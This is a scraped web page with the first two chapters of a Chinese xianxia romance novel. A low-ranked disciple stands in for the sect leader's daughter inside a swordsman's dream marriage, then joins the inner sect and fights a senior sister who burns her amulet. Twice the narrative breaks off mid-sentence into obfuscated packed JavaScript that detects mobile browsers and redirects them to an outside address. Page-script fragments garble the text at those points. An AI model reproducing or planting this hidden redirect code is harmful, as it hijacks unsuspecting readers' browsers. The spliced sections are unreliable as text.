《替嫁妻子走后,剑尊道心破碎了》 1. 入内门(一) 《替嫁妻子走后,剑尊道心破碎了》草灯大人 晋江文学城独家首发 第一章 “啪!” 一记耳光重重摔在少女的脸上。 用力很大,直将她的嘴角打出鲜红的血迹。 顷刻间,柳观春白皙秀致的小脸上,浮起几根红肿的指印。 柳观春受了罚,她的发带松散,一头鸦青色的长发被玄剑宗的山风吹得凌乱,后脊的乌发拢下来,拥住她清癯消瘦的肩膀。 将孤零零的柳观春护在其中。 打她的人,是坐在上首的一名女修。 她名叫唐婉,乃玄剑宗掌门之女。 唐婉打下来的这一记掌掴混淆了灵力,足以震痛柳观春尚在炼气期的髓海,令她整整三日都要受裂肤之痛。 明知柳观春修为不够,唐婉却还是私下动刑,不可谓是不阴毒。 “好你个柳观春!掌门要你化成我的模样,进入迷魂梦阵,护住大师兄的心魄,你倒好,趁着师兄待我情深义重,竟用此身勾引师兄,还同他行云雨之事……你分明是蓄谋已久,你觊觎大师兄多年,这才趁此机会玷污师兄!” 唐婉口中的大师兄,便是玄剑宗难得的修仙奇才江暮雪。 大师兄江暮雪渊渟岳峙,温谨克己。若论灵根鹤骨,江暮雪当属第一,整个玄剑宗内门无出其右。 因他道心坚毅,早早在筑基期就被天道择进无情道,此后唐婉便是和江暮雪多有师兄妹情谊,他也待她稍显冷淡。 唐婉本想着,等江暮雪修满了无情道,维持修为,换道修行,两人再完婚,结为道侣。 哪知,柳观春卑劣,竟在代替唐婉,进入幻境拯救江暮雪时,与大师兄结为夫妻,甚至引诱江暮雪,行了夫妻之实! 最令唐婉感到气愤的是,在玄剑宗掌门唐玄风利用搜魂术,企图撷取大师兄江暮雪的记忆时……江暮雪为了安抚柳观春,竟在幻境中,也用灵力幻化出一层屏障封印,将所有外界的窥探,全隔绝于屏障外。 狭小的屋子里,仅有江暮雪和柳观春…… 所有的声音、温度、旖旎,全被锁在江暮雪所控的阵眼里,独他一人能看到。 江暮雪好歹是元婴期的剑修,此阵又是以他为阵眼幻化,灵力在期间可媲拟人神剑君,便是唐玄风也奈何不了他,破不开那一重屏障,窥见分毫隐私。 唐婉只能在屏障消散后,从柳观春赤着的雪足,白颈上残余的吻痕,臂骨淋漓的香汗上窥探分毫,他们分明是共赴巫山,行了肉身上的夫妻之礼。 即便柳观春顶着的是唐婉的脸,她仍觉得怒不可遏…… 一个卑贱的外门女弟子。 一个花了十年才学会引气入体的低阶炼气修士! 竟敢损玄剑仙宗这位旷世逸才、剑骨绝佳的内门大师兄清白。 她算什么东西! 唐婉心气上来,不顾自己刚刚剥离剑骨的痛楚,又扬手摔下一巴掌。 又是“啪”的一声巨响。 柳观春挨了掌掴,脸上已有细小血丝。 她喉头涌起腥甜,被迫吐出一口殷红血沫。 柳观春垂下浓长的眼睫,纤细的指骨在袖中轻轻蜷曲,她低声道。 “掌门有命,若想江师兄寻回心魄,不可忤逆坠梦者的意愿。师兄所求之事,我不敢违抗。” 唐婉简直要被她卑鄙的言论气笑。 她高举起手,作势又要打柳观春。 唐婉的一掌不曾劈下,半道被一只横来的拂尘缠住,丝丝绞紧,悬于半空。 唐婉被更高阶的修士困住身形,萧肃的杀气在太阴殿内爆开,她正要负隅顽抗,却恰巧迎上一双苍老的眼。 来人正是玄剑宗掌门唐玄风。 唐婉刚刚剥离剑骨的后脊隐隐作痛,她从小到大都被仙宗的修士娇养着长大,从未受过这等委屈,当即眼眶泛红,忍着哭腔,哽咽地喊:“爹!” 唐玄风看着泫然欲泣的女儿,轻叹一口气,道:“你怪她有何用?若不是你被魔物蛊惑,又怎会引来大战?暮雪为了救下宗门,不幸陨落,神魂四散……彼时我寻你不得,只能出此下策,让她代你入阵唤魄。” 唐婉那一张俏脸上满是不甘,她咬紧了下唇,讥讽地道:“难道我还得谢她?” 唐玄风轻轻皱眉,他知道自己的女儿骄纵,却也舍不得骂她,只道一句:“暮雪眉心的元印尚在,他不曾失去元阳,无情道心也未毁。待他再修行两年,将无情道修至满阶,择天道另修后,便可与你完婚……彼时,暮雪就是我玄剑宗唯一一名人神剑尊,你作为剑尊夫人,何等尊贵,气度还是该大些。” 无情道的剑君,眉心都会有一颗守元砂,代表还是童子身。 若是与人.肉.身.交合,那颗痣才会消失无踪。 唐婉若有所思地低头。 唐玄风知她听进去了,轻叹一声:“至于迷魂梦境里的种种,于他而言,不过幻梦一场罢了,若你想的话,为父也可封住那段记忆,免得你日后心中有刺。” 闻言,唐婉讥诮地看向跪着的柳观春,嘴角上翘:“如此最好。” 唐玄风没再说什么,他只松开女儿,又抖了抖拂尘,仙风道骨地走向柳观春。 “你起来吧,此前的一个月,有劳你了。” 柳观春被剑尊强悍的罡风压住脊骨,连头都抬不起,她忍住胸口翻涌的血气,沉声道:“不过小事,无足挂齿,只盼掌门莫要忘记与弟子的约定。” 唐玄风这才想起,此前柳观春所求的是什么。 无非是帮她筑基,让她进内门修炼。 唐玄风颔首:“本尊从不食言。” 若是能进内门,便是唐玄风门下弟子,柳观春顺杆上爬地道:“多谢师尊。” 唐玄风拧了拧眉,没说什么,他以灵力送去一枚可让柳观春修为暴涨的丹药,助她筑基。 倒是唐婉听到柳观春竟存着进内门的心,心中愤恨,对她一心引诱江暮雪的事更为确信。 唐婉在一个月前犯下大错,被父亲护着才捡回一条小命,她不敢再忤逆父亲。 百般不甘之下,她也只能对柳观春说出一句:“你不过是个冒牌货,利用我的脸才有机会近身服侍师兄,你该明白自己的身份。若江师兄知道,幻境里肌肤相亲之人,竟是你这样卑微的外门弟子,他该感到多恶心。” 柳观春心愿得偿,她没有和唐婉作对,只卑下地道:“我自知修为低微,与江师兄云泥之别。此前入阵相帮,也不过是想拜在掌门麾下,潜心修炼。如今心愿得偿,再无遗憾,观春不会痴心妄想,还望师姐消气。” 她仿佛一身软骨,全没脾气,连挨两巴掌,连个屁都不敢放。 唐婉心中得意,也懒得同她这个小喽啰计较。 掌门父女走后,柳观春以剑为杖,撑起重伤未愈的身体,踉踉跄跄朝殿外走。 柳观春服下丹药,一股磅礴的灵气自天地而来,汹涌地钻进她的四肢百骸。 柳观春凝神分辨,她能感受到自己原本贫瘠的灵池忽然暴涨。 天地间为她所动的灵力钻入心腑,幻化成一团灼灼火光,积攒于丹田下腹。 她的灵感变得敏锐,能听到草木私语、冰川雪裂、鹰隼翱翔,可随之,她脸颊上、膝上的痛感也加剧,柳观春疼得几乎难以承受。 柳观春忍住那些强烈的痛楚,一步步朝殿外走去。 殿门悬挂的清逸纱布飞起,竹篾翻动,如云似雾,清幽飘扬。 柳观春望向殿外绮丽的霞光,青绿的山色,琉璃水晶铸造的琼楼玉宇,心中震荡。 她用了十年走到仙门剑宗,用了十年引气入体、潜心修炼,终于迈进了玄剑宗内门。 如今她已筑基,超脱肉眼凡胎的人身寿元,她的青春永驻,岁月长存,只需潜心修炼,终有一日能成为剑君,飞升上界。 到那个时候,柳观春一定能够找到回家的路。 柳观春擦去嘴角的血液,她感受阳光照在身上的暖意,疲倦地闭上眼睛。 她穿进这个修仙世界已有二三十年,这数十年里,柳观春四处求生,颠沛流离,一心寻找回家的办法。 她在乱世间活不下去,唯有前往仙宗圣地,才有一线生机。 就这样,柳观春来到了玄剑宗。 她帮着外门扫洒、做饭、劈柴、跑腿,不顾生死进入魔林妖域,救下濒死的内门剑君师兄,才侥幸得到一个引荐为外门弟子的机缘。 再后来,柳观春发现,无论她如何修炼,此身都与这个世界相斥。 她筑不了基,塑不了神识,开不了灵域,一生都注定是废人一个。 柳观春不甘心,她想活,她想修炼,她想回家。 直到玄剑宗掌门之女唐婉,被魔族师弟蛊惑,引魔入圣地,爆发修士与魔物之间的大战。 玄剑宗天之骄子江暮雪为了保护仙宗,以身饲剑,开启护宗大阵,却不慎遭到师妹唐婉的背刺。 江暮雪自幼失怙失恃,掌门见他虽是凡躯却天生剑骨,将江暮雪捡回山门,悉心关照,更是将他与亲女唐婉缚上同心咒。 同心咒极为霸道,江暮雪作为被施加咒术的一方,必须在唐婉危在旦夕之时,护住她的性命,如违背此咒,必遭天谴。 本是护命之咒,却在大战当天,被唐婉用来对付江暮雪。 唐婉被魔物蛊惑,将江暮雪的弱点暴露。 大战当天,同心咒被唐婉强行解除,江暮雪被咒术侵体,剑骨几乎碎裂。 他撑不住护宗大阵的反噬。 为护门下子弟,情急之下,江暮雪以雷符召来升阶天雷,强行突破境界,加持护宗法阵。 也是因此,江暮雪人剑分离,丧失了一脉魂魄,堕入他自己召出的迷魂梦阵。 几日后,魔族不敌众志成城的宗门修士,被打得节节败退,宗门恢复平静。 可惜江暮雪却在此战之后,深陷梦境,不得逃脱。 迷魂梦阵,柳观春听过。 入梦者,分不清现实与虚幻。 除非在境中找到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江暮雪身侧有磅礴剑气萦绕,护住他陨落的身体,长剑寒光锋锐,势不可挡,她几乎近不了他的身。 柳观春只能远远看着。 直到她饥饿难耐了几日,实在受不了。 柳观春小步挪近,小声询问江暮雪:“师兄,我、我是唐婉。我知你不过陷入沉睡,想要滋养心魄,还需好长一段时间。可我饥肠辘辘,缺衣少食,实在难受,你能否为我备一些吃食与衣物?” 柳观春天真地想,此为江暮雪的幻境,若他想,他能变出冰天雪地,也定能变出食物和衣裳。 柳观春静静地等。 可是,天地间唯有寒冷刺骨的冰雪,除此之外,什么都没有。 睡前,柳观春心想,她一定是痴人说梦。 可翌日醒来,柳观春睁开眼,她看到身旁已经备好了一份米糕、一件单薄的男弟子服。 柳观春回头望去,江暮雪还维持着那个打坐入定的姿势,沉沉闭眼。 他没有醒来,却偶有意识,听到柳观春的愿望,满足了她。 那一刻,柳观春想,大师兄一定是个好人。 不知哪一年,柳观春终于等到江暮雪醒转的时候,天地自此开始,有了分明的四季、温暖的屋舍、充足的粮食与衣物。 柳观春顶着一张幻化成唐婉的脸,和江暮雪在梦境中结为连理,一起度过了七年。 柳观春谨遵唐掌门的教诲,没有忤逆江暮雪的意愿,她顺从江暮雪的所有心意,她陪在他左右,助他休养生息,直到心魄恢复如常、梦境破碎的那一日。 梦境中的七年,只是境外短短的一月。 一个月后,唐婉知错,回到宗门。 她本该受凌迟剔魂之刑,却因掌门父亲的力保,只剔除了剑骨,自毁所有修为,保下了一命。 原主回来了,柳观春这个替身自然应该退场。 柳观春毫无怨言,她心知肚明,若非顶着唐婉这张脸,江暮雪并不会多看她一眼。 只是…… 殿外的柳观春仰望远处的无尽雪峰,心生迷茫。 对于江暮雪这样能够神识分离的修士来说,幻境种种,不过是他制造出来的,一场春意盎然的幻梦。 现实中,他的元阳未破,道心未毁。 只要无情道修成,他便可维持剑尊修为,换道入俗,和青梅师妹唐婉完婚,永世恩爱。 可对于柳观春这等尚未筑基的小修士来说,她还未修炼出神识,她做不到身心分离,那一日,她是以凡人肉身入境。 所有缠绵的亲吻、所有亲昵的触碰、所有悱恻的鱼水之欢,都是她亲身感受过的。 江暮雪的温柔,逐一在她的身上真切印证。 柳观春的身上,留有师兄的痕迹。 她做过江暮雪的妻子,整整七年。 2. 入内门(二) 第二章 仙山不同于凡间。 仙山有灵田、灵气、灵山、灵水,它位处于离上界最近的天尽头,也是凡人所说的天涯海角。 所有养出慧根灵根的凡人,都会受到指引来到仙山。 若凡人有心修炼,根骨清奇,则有机会被三大仙宗的宗主收进门中,成为内门弟子。 如今内门弟子众多,其中佼佼者,唯大师兄江暮雪莫属。 听闻江暮雪天生剑骨,生来便是罕见的上乘雪灵根。 他道心纯粹,遵从天意选道时,玄剑宗沉寂千年的剑冢忽然爆开结界,无数把仙剑为了抢夺江暮雪,在后山喧哗不休。 成千上万的古剑器心甘情愿突破禁地,朝江暮雪飞来,将他团团围住。 一时之间,整个绝情崖都被磅礴的灵力包裹,草木欣欣,光华万丈。 万剑择主。 此情此景,让玄剑仙宗的弟子们艳羡不已。 要知道,他们费尽千辛万苦,又是历劫杀妖,又是送花送草讨剑器芳心,方能取得一把本命剑。 甚至有弟子大声抱怨:“我光是给清河镇的刘姥姥送鱼都送了八百回,才拿到刘姥姥珍藏的铁剑,他一个半路入道的凡修,竟有这样的造化……” 他们不约而同地仰望那个白衫乌发的少年。 剑气瑰丽无比,芳华流泻,银辉将江暮雪的眉眼,照得更为冷隽秀致。 所有强悍的剑器都甘心认江暮雪为主,甚至企图得到江暮雪的认可,争相下死手较量。 这一日,上千把灵剑为了独得江暮雪的青睐,在仙山大打出手,天地间风云骤变,紫雷滚滚,烈风呼啸,风力大到仿佛能将人掀翻。 不过一瞬息,那些战败的法器便陨落入海,化为银雪齑粉,飘散于天地间。 江暮雪被万千剑气裹挟,他的衣袍摇曳,雾霭笼罩,竟似要羽化升仙。 不过十岁的孩子,面对这样的天地异象,竟没有丝毫的胆怯与畏惧。 三大仙宗的长老们无不羡慕唐玄风运气上佳,竟能收来这样一个被天道偏爱的天之骄子。 江暮雪面对人们的惊叹、恭维,无动于衷。 他静默地站在悬崖峭壁,冷眼旁观那些剑器们厮杀。 长老们不免感慨,此子天赋异禀,剑骨天成,其心性至静,其情至冷,果真是天道钟情的好苗子。 还是玄剑宗的长老心疼那些粉碎的灵剑,恳求江暮雪赶紧挑一把本命剑,阻止剑器们再自相残杀下去。 江暮雪垂下浓长的雪睫,玉琢指骨微动。 他稍一思忖,从虚空中取出一把浑身银白如月的长剑。 江暮雪为本命剑取名“伏雪”。 与此同时,天幕幻化出“无情”二字。 他的道心坚毅,无情无欲,在筑基第一日,便被天谕择进无情道。 入无情道的剑修,天地灵气会在他们的眉心幻化出一枚守元红砂。 与凡间女子的守宫砂类似。 若是无情道的剑君起了欲心,会遭受万虫噬心之痛,道心损毁,修为掉阶。 倘若与旁人肉身交合,破了色.戒,剑修眉心的守元印便会消弭无踪。 届时剑君的道心尽损,无情道破,数十年修为毁于一旦,只能从头来过。 但天道也并非逼着剑君们断情绝爱,若是修为大成,无情道满阶,彼时也可再经历一次雷劫,获得重新择道、继续修行的机会。 玄剑宗的掌门唐玄风便是打着这个主意,他想等江暮雪修成高阶剑君之后,再退出无情道,重入俗尘,与他的亲女唐婉完婚。 哪知,计划算得好好的,先出纰漏的竟会是他的女儿唐婉。 唐婉被魔君幻化的内门师弟苏无言哄骗,大开仙门,放魔族入仙山屠戮修士,酿下大错。幸好有江暮雪以身殉道,方才保下仙门命脉。 唐玄风望着榻上沉睡的爱徒,他并指捏诀,轻点在江暮雪眉心。 他本想将江暮雪遭受唐婉背叛的记忆一并消去,但徒弟的修为高深,灵域被伏雪剑庇护,他做不到消除江暮雪现实的记忆。 至多将那七年的梦境摧毁,将有关柳观春假扮唐婉的记忆,悉数抹去。 唐玄风叹一口气,对唐婉道:“你师兄一贯柔善,心胸宽广,若是你好好认错,他知你改过自新,且剔除剑骨,自毁修为,定不忍心过多苛责你……但你弃他而去,终究也是个心结,不过你们师兄妹长久相处,日子久了,他总会消气的。” 唐婉想到从前江暮雪因择入无情道之故,对待世间万物都淡漠如常,待她虽然没有温声细语、柔情蜜意,但凡是唐婉想要之物,江暮雪都会为她拿到。 曾经唐婉几天勘不破剑诀,也是江暮雪深夜抽空,在练武台上陪着她喂招多日,方才助她突破境界,顺利升阶。 唐婉想,她应该算是江暮雪为数不多的偏爱之人,即便两人已经没有同心咒的牵扯,她仍能化解开他心中的隔阂。 今日,江暮雪会从幻境中苏醒,唐婉难得有点紧张。 她端来江暮雪在凡间时最爱喝的荔枝甜汤,坐在一旁的矮凳上,默默等待江暮雪醒转。 她虽没剑骨,但她是掌门的女儿,生来灵修之身,还是能用些灵力。 汤碗凉了又凉,唐婉用术法将汤热了又热。 她等了好久,可师兄还没有睁眼的迹象。 唐婉凝望熟睡的江暮雪,久久不语。 师兄的乌黑睫羽既密集又纤长,鼻梁高挺,薄唇寡淡,下颌线条冷硬,而眉心那一颗守着剑修元阳的血痣,更衬得江暮雪清冷矜贵,如山中竹骨,难被风雪摧折。 师兄对她,一贯关照有余,亲昵不足。 唐婉道他是入了无情道的缘故,所以才会如此冷心冷肺。 而她之所以受魔族幻化的师弟苏无言引诱,无非是觉得大师兄太过无趣枯燥,唯有苏无言却会温柔地喊她“师姐”,对她嘘寒问暖,陪她嬉戏玩笑。 唐婉想着,她只是出了一次小差,就和上剑诀课稍微分一次神似的,江暮雪会原谅她的背叛,只要她最终会回到他身边就好。 可是,那一日在幻境之中。 她发现,她好像并不了解师兄。 江暮雪竟也是有欲的。 他是热的,他并非寒彻人心的霜雪,可他的热情从来没有对自己展现过…… 唐婉不免战栗,她忍不住想:梦境里的江暮雪,当真分辨不出妻子是谁吗? 没等她细思下去,江暮雪的指骨微颤,呼吸变沉。 男人缓慢地睁开了眼睛。 唐婉大喜过望,她放下甜汤,飞扑上前。 她紧紧抓住江暮雪的衣袖,喜极而泣:“江师兄,你总算醒了!” 江暮雪轻轻眨了一下眼,疲乏感与剧痛顷刻间漫上心腑,明明是锥心之痛,他的脸上却没有显露出分毫端倪。 男人垂下凤眸,淡扫唐婉一眼,冷声问:“苏无言,可曾诛杀?” 嗓音岑寂肃穆,如珠玉相撞,冷漠至极,并无半点柔情。 唐婉的心凉下一截,但她很快又想起,江暮雪只记得大战的事,因她引魔族入仙山的事,仙门死伤无数,他怜悯苍生,怪她怨她也是人之常情。 唐婉低声道:“是婉儿无能,没能将苏无言诛杀于法阵之内。” 江暮雪薄唇轻抿,不置可否。 他不过并指扬袖,冷冽的银粟子随着灵气涌入,将那一把伏雪剑握在掌中。 江暮雪起身下地,他想要亲自去查看护宗大阵的状况。 人还没来得及走出房门,衣袖便被唐婉拉住。 江暮雪轻皱眉头。 唐婉咬住下唇,美眸含泪,哀切地唤他:“师兄。” 江暮雪感念掌门的救命与收养之恩,待唐婉也有几分宽容。 他问:“有事?” “师兄,我背弃于你,实则全是苏无言的蛊惑,并非我的本意。我修为不深,哪里能认出他深藏的魔气,又如何抵抗魔族的勾引术法?我铸成大错,自知罪无可恕,我不敢求师兄轻易宽恕。但看在我剔除剑骨,自毁修为的份上,师兄能不能别不理我?” 江暮雪的背影清癯消瘦,他站立不动,唐婉看不懂他。 她心里既惊又怕,眼泪滚落,还是伸手去拥抱江暮雪。 情急之下,她撒了谎:“师兄,你陷入迷魂梦境,危在旦夕,是我入幻境陪你七年。七年里,你我在梦境拜堂成亲,每日睡前夜话,甚至还有夫妻之实……师兄,便是你梦醒后,忘了这一切,也不该如此冷待我!” 江暮雪不喜人亲近,在唐婉靠近他的时候,伏雪剑已经察觉到主人的抵触之意,用剑气格挡开唐婉。 女孩猝不及防遇袭,踉跄两步,跌坐在地。 唐婉惊愕地抬起头。 江暮雪似是对她的话感到匪夷所思,袖中指骨蜷缩。 男人的神识钻进灵域探寻……没有任何关于幻境的记忆,而且,他除却重伤之外,道心未毁,守元砂尚在,元阳也未破。 可唐婉所说若是属实,即便是梦,他也到底理亏。 江暮雪细思一番,和她说:“抱歉,我没有梦境的记忆。想来那些时日,无非是心魔所幻,意欲毁我道心罢了。此前种种,不过幻梦一场,还请师妹莫要介怀。” “若是实在愤恨,无处纾解。”他抛去伏雪剑,解开本命剑认主的禁制。 长剑不再戾气丛生,而是无比乖顺地横躺至少女手中。 江暮雪漠然地道:“你可以刺我一剑,或我去自省殿领鞭刑,以此两消。” 唐婉望着高大疏冷的师兄,哑口无言。 一时之间,她都不知道该说江暮雪是一心向道,还是唯独对她薄情寡义。 可那一场幻境,本就是梦魇,做不得真。 幸好,师兄并无儿女情长的私心,那他待那个卑劣的柳观春也定是如此。 倒是唐婉思虑过多,竟将柳观春当成心腹大患了。 唐婉松一口气,她站起身,拍了拍身上的尘土,把本命剑还给江暮雪。 她抹去眼泪,用甜美的笑颜对师兄道:“无事,能救师兄出梦阵,我已心满意足。那些旧情往事……便是师兄忘记了,也没什么。” - 柳观春顺利进入玄剑宗内门。 大多能进内门的弟子都是家境殷实,或是祖上显贵的世家子女,因此他们并不缺衣食住行方面的物资。 哪里像柳观春一样,连个木头雕琢的水杯都要特地带进内门里使用。 柳观春到外门弟子住的大杂院里收拾包袱,她成为内门弟子的消息不胫而走,早早在外门散播。 许多好事者都特地跑来四合院里看热闹,想瞧一瞧柳观春究竟有何等灵根,或是三头六臂,竟能让唐玄风掌门在这个多事之秋,亲自收进内门做弟子。 待在外门的弟子大多都是生发出劣等灵根、心浊不清、贪恋俗世,或者长久无法筑基的修士。 比之寻常凡人强上许多,可这点慧根又不足以入道修行。 因此,他们看到本来和自己平起平坐的柳观春竟能入宗门,成为人上人,一时间既妒又恨,心气不顺,甚至来大杂院堵她,聚众说些污言秽语。 “先前有内门师兄弟来找过柳观春,此后她便失踪了一个月,连外门事务都不管,也不知跑哪里去了……谁知道是不是同人做了一个月的露水道侣,用腌臜的手段混进内门了。” “如此看来好像也是,柳观春毕竟是身段窈窕的女修,利用美色上位,倒也算是各凭本事。” “你们小声点,万一让她听见了……” “听见怎么了?她一个引气入体都要花上十年的低阶灵根,还能跟我斗不成?” 和柳观春素来不和的外门赵师姐大声嚷嚷,故意恶心她。 柳观春垂下眼睫,指骨一顿,良久不语。 她已经筑基,修为在这些人之上,她可以把这些年受过的气统统发泄出来,也可以打得他们落花流水,再也不敢辱她一句。 但柳观春不想,也懒得这样做。 和这些人计较,如同在泥潭里打滚,连她也会沾上脏污,何必理会? 反正她要走了,再不会回来了。 她会往上爬,爬得高高的,让他们此生都只能仰望她。 可柳观春翻动衣橱,竟没有找到她自小带着的那一枚护身符。那是她穿进这个修仙世界,唯一留在手中的东西。 红布袋包裹的三角符箓,没有任何术法与灵力,但只要它还在身边,柳观春便会感到无比安心。 之前她害怕护身符会遗失,她没有将其带进梦阵。 可是不过一个月不见,她翻箱倒柜多时,竟然都没能找到它。 柳观春不会乱放东西,只有一个可能……护身符被人拿走了。 柳观春的眉眼瞬间冷下来。 此前师姐们偶尔会来她的屋子顺东西,柳观春为了广结善缘,多了解一些修炼的消息,故意装聋作哑,听之任之。 可那一枚护身符不过旧物,只是无用的黄纸一张。 他们拿它,只有一个可能,那便是知道柳观春有多宝贝此物,他们知她进内门,心生不满,故意偷窃她的私物,好给柳观春添堵。 柳观春闭眼,她手持长剑,不过一个凌空跃步,杀进庭院。 眼下已是深秋,草木凋零,枯叶金黄,深山老林一片萧瑟。 柳观春执剑杀来,剑势凛冽,来势汹汹,直逼人的面门。 一群人还在说笑,半点不知柳观春已然持剑袭来。 为首的赵师姐没有防备,竟教柳观春削下一截乌黑的发丝。 她捂住脸,惊得大叫,厉声斥责:“柳观春,你疯了?!我可是你的师姐!你竟敢以下犯上!” 最要紧的是,她自诩修为高深,却还是被一个平平无奇的小弟子所伤,当真是奇耻大辱。 然而,柳观春虽然根骨极差,但这些年,她勤勉练剑,早已修出磅礴剑气,便是不用灵气开域,单是力气较量,泥潭混打,她也能战上几个来回。 柳观春收回长剑,朝外门的赵师姐伸手:“护身符,还我。” 赵师姐本来不想认下,但她在众人面前丢了大脸,心中更有羞辱柳观春的想法。 于是,她从怀中摸出那一枚护身符,悬于指尖。 “就这个破烂货?” “给我!”柳观春恨得睚眦欲裂,她凌步上前,想要夺回自己的宝贝。 没等柳观春欺身靠近,赵师姐已在指尖凝出可以焚烧世间万物的红莲业火。 火苗愈演愈烈,直将她手心的那一枚护身符笼在其中。 “住手!”柳观春杏眸骤然瞪大,身形仿佛被冰霜冻结,不敢轻举妄动一步。 赵师姐见她失魂落魄的模样,心情大好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152041|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她还当柳观春是那个好欺负的外门弟子,她一心要给小师妹一个教训。除此之外,也有点妒恨与迁怒的意思,赵师姐想证明给那些内门弟子看,她比柳观春强悍那么多,可她却还在外门种植灵草、看管妖林,实在大材小用。 术法幻化出来的火焰红到发紫,红澄澄火光一下子将护身符吞噬殆尽。 柳观春来不及抢夺宝物,她眼睁睁看着护身符化为灰烬…… 这是她和现实世界唯一的一点联系,也是她在这个弱肉强食的修仙世界唯一的心理慰藉。 她不管受了多少欺负,挨了几次打,受了几顿饿,她都会抱着护身符入眠。 她会一次次告诉自己,不过是一次小小的磨难,只是一次试炼,她能回家,她能回到正常的世界…… 可现在,护身符没了。 没有东西能在柳观春崩溃的时候,反复提醒她,她不属于这个世界,她终会获得幸福,在此之前,她要努力活下去。 柳观春从来不哭,她在人间时,为了一口吃食,上大户人家为奴为婢,冬天洗衣冻到手生冻疮,夏天摇扇摇到彻夜不眠;便是进入江暮雪的梦境,她在新婚之夜,处处不得要领,强忍着师兄艰涩又强硬的开辟,她吃了痛,也强撑着一口气,没有哭过一回。 可今日,仅仅是烧毁了一件旧物,她竟如信念坍塌、道心崩殂,眼眶泛起泪花。 柳观春鼻尖酸痛,她忍住委屈,抹去眼泪,提剑上前。 她不再隐藏实力,虽然对于内门弟子来说,她不过是个卑下的小喽啰,但对于外门来说,她已有一战之力。 明明才是秋末,可天地竟飘起绵密的雪絮。 弟子们纳闷地仰望天空,还在疑心为何忽然天地变色,唯有赵师姐反应过来,这竟是柳观春的灵域! 她什么时候筑基的?竟也能开启灵域了! 雪灵根……世间罕见的冰霜道。 三大仙宗里,他们所知的雪灵根,唯有大师兄江暮雪一人。 可一贯不起眼的柳观春,竟也是雪灵根?究竟有没有天理?她不是个废人吗?! 没等赵师姐惊诧,弹指一挥间,寒气泠泠的长剑已经横扫向她的颈侧。 剑风刚劲,战意浓烈,无数密集的剑招铺天盖地袭来。 赵师姐旋身避开,急急从虚空的赤色旋涡中,抽出一条缭绕业火的龙鞭。 她看清楚了,即便柳观春是雪灵根,她也不过是筑基期一阶,而自己二阶已满,未必不能打服柳观春。 赵师姐猜的不错,柳观春初初筑基,无人指点,莫说她一时逼入绝境,不慎触发灵域,便是如何将灵气注入长剑御敌,她都一知半解。 更何况,赵师姐的火龙鞭,是她淘回来的本命法器,对她的忠诚度很高,配合也最为默契。 可柳观春连本命剑都没有,手上的长剑,不过废铁锻造,不堪一击。 赵师姐决定三招之内解决柳观春。 她凝神敛目,专心应敌。 可偏偏怒急了的柳观春,自有一腔不要命的孤勇,她旧伤未愈,却仍能咬牙忍住那些痛苦,奋力持剑劈砍。 赵师姐竟不知道性子软弱的柳观春还有这样凶残的一面,见她横冲直撞地袭来,像一只杀红了眼的野兽,赵师姐难得有一瞬慌神。 赵师姐一时不敌,竟被柳观春打得节节败退,冷不防被逼进绝境。 柳观春冰冷刺骨的长剑,挟带肆虐的狂风,直刺向赵师姐的心口。 千钧一发之际,赵师姐想到一记损招。 她故意将火龙鞭缠上柳观春的剑身,死死绞住长剑,迫柳观春靠近。 趁柳观春夺剑的时候,赵师姐另一手捏诀画符,将一记碎心咒,拍进柳观春的体内。 轰隆一声巨响。 柳观春整个人如坍塌的山石,瞬间被击出数丈。 “噗!”她的五脏六腑都被一团鬼气啃食,疼得钻心,仰面喷出一口血雾。 赵师姐握紧手掌,冷眼望着倒地的柳观春。 此为鬼咒,赵师姐是鬼修世家的孩子,自然私藏了几招禁术。 要不是柳观春步步紧逼,她怎会暴露鬼身。要知道,仙宗虽然允许鬼修进入仙门修炼,但妖鬼与魔族相近,是为最下等。 她可能永远都没有进入内门的机会了。 都怪柳观春! 赵师姐杀心又起,她屈指成爪,袭向柳观春。 她料想柳观春肯定没有对敌的能力,毕竟碎心咒威力巨大,中咒者五脏要受业火焚烧,犹如鬼手穿膛,捏碎心肺,此等痛苦,区区一个凡人之躯,如何受得了? 再打下去,不过是螳臂当车。 赵师姐正要笑她自不量力,却见柳观春的杏眸一片清明冷静,若非她额上、颈上不断沁出热汗,赵师姐都要以为碎心咒失效了。 就在赵师姐错愕之间,一记扫来的重拳,狠狠击上了她的下颚。 赵师姐挨揍,嘴角溢出鲜血,仓皇倒地。她被打懵了,惊讶地抬头,仰望着艰难爬起来的柳观春。 柳观春起身的动作迟缓,手脚都已经痛到不协调,站姿更是古怪生硬,犹如一具行将就木的病躯。 可偏偏,柳观春都这样了,还要憋着一口气,朝赵师姐走来。 小姑娘喉头滚动,咽下一口腥甜的鲜血,再次提拳殴打。 砰、砰、砰! 柳观春动作迅猛,连出三拳,拳拳到肉,惊得赵师姐连法器都忘记召出。 小师妹不按照常理出牌,竟然以身肉搏! 围观这一场乱战的外门弟子也一个个呆若木鸡,不知该作何反应。 怎么会有这样刁蛮泼皮的人……竟把世间凡人的斗殴法,弄到仙门的武斗比试来了? - 玄剑宗,议事殿。 仙鹤银鼎燃起一径袅袅香烟,霜白的雾霭覆上江暮雪泛起银光的衣袍,更添些清逸飘然,仙风道骨。 江暮雪平素总穿一身白色长衫,劲瘦窄腰连玉佩也不戴,只别一把剑势磅礴的伏雪剑。 如此衣着简朴,却很有剑君的洒脱,引得内门弟子纷纷效仿。 不知哪年开始,剑修外出降魔,总流行穿白衣、戴玉冠,凡间老百姓见了白衣白剑的标配,便知这是玄剑宗来人除魔卫道了。 